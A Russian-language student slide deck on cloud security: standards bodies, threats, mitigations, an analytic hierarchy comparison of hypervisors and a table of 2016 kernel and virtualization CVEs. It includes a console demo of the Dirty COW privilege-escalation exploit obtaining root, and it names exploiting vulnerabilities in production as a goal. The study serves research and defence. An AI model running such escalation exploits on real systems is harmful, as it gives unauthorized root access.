Исследование процессов обеспечения безопасности облачных сред

Умеров Амет

Стандарты безопасности

Но пока нет, пусть повисит график мунина

- Cloud Security Alliance (CSA)
- Internet Engineering Task Force (IETF)
- National Institute of Standards and Technology (NIST)
- International Telecommunications Union (ITU)
- Open Cloud Consortium (OCC)
- Object Management Group (OMG)
- Open Data Center Alliance (ODCA)

Угрозы безопасности

Но пока нет, пусть повисит график мунина

- утечка данных
- компрометация учетных записей и обход аутентификации
- взлом интерфейсов и API
- уязвимость используемых систем
- кража учетных записей
- инсайдеры-злоумышленники
- целевые кибератаки
- перманентная потеря данных
- недостаточная осведомленность
- злоупотребление облачными сервисами
- DDoS-атаки
- совместные технологии, общие риски

Борьба с проблемами

Но пока нет, пусть повисит график мунина

- многофакторная аутентификация (2FA) и стойкое шифрование (TLS)
- использование одноразовых паролей, токенов, USB-ключей, смарт-карт
- контроль доступа, шифрование API
- периодические пентестинги, аудиты безопасности
- регулярное сканирование на наличие уязвимостией
- тщательный мониторинг, аудит и логирование
- резервное копирование, репликация
- резервирование сетевых каналов и сегментация сети

Что хочу решать я

Но пока нет, пусть повисит график мунина

- структурирование всей имеющейся информации
- системный анализ информации
- с помощью метода анализа иерархий выбор альтернатив на основе набора критериев
- практическое применение имеющейся информации
- анализ наиболее опасных уязвимостей и методы взлома
- использование уязвимости на проде
- наискорейшие методы обнаружения уязвимостей в ПО (vulncontrol) и их закрытие (kernelcare)

Системный анализ

1 2 3

- цель проектирования - разработка системы безопасности облачной среды
- выделение входных и выходных данных
- выделение функций
- выделение подсистем: аутентификации, авторизации, сетевой защиты, проверки целостности данных
- модульность системы
- детализация функций
- соблюдение принципа иерархии
- сочетание централизации и децентрализации
- возможность расширения системы
- учет неопределенностей и случайностей

Вариантный анализ

Пример — выбор гипервизора

Альтернативы:

- KVM (альтернатива А)
- Hyper-V (альтернатива Б)
- VMware vSphere (альтернатива В)

Критерии, по которым выбирается тот, или иной алгоритм:

- цена (А1)
- масштабируемость (А2)
- отказоустойчивость (А3)
- интерфейсы управления (А4)

Критерии		А1	А2	А3	А4
А1	Цена	1	1/5	1/7	3
А2	Масштабируемость	5	1	1/5	7
А3	Отказоустойчивость	7	5	1	8
А4	Интерфейсы управления	1/3	1/7	1/8	1

Критические уязвимости 2016

1 2 3

CVE ID	CVSS	Тип уязвимости	ПО
CVE-2016-5195	7.2	Получение привилегий	Linux Kernel
CVE-2016-6258	7.2	Получение привилегий	Xen
CVE-2016-5696	5.8	Получение данных	Linux Kernel
CVE-2016-3710	7.2	Запуск кода	QEMU
CVE-2016-8655	7.2	Получение привилегий, DoS	Linux Kernel
CVE-2016-4997	7.2	Получение привилегий, DoS, доступ к памяти	Linux Kernel
CVE-2016-4484	7.2	Получение привилегий	CryptSetup
CVE-2016-6309	10.0	DoS, запуск кода	OpenSSL

Эксплуатация CVE-2016-5195

Dirty COW

```
$ id
uid=1000(dcow) gid=1000(dcow) groups=1000(dcow)
$ g++ dcow.cpp -std=c++11 -pthread -o dcow -lutil

$ ./dcow
Running ...
Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)

$ su root
Password: dirtyCowFun
# id
uid=0(root) gid=0(root) groups=0(root)
```

Vulncontrol

1 2 3

```
$ ./vulncontrol.py -d 2017-02-18 -m 5
CVE-2017-6074 9.3 http://www.cvedetails.com/cve/CVE-2017-6074/
CVE-2017-6001 7.6 http://www.cvedetails.com/cve/CVE-2017-6001/
CVE-2017-5986 7.1 http://www.cvedetails.com/cve/CVE-2017-5986/

Telegram alert not sent
```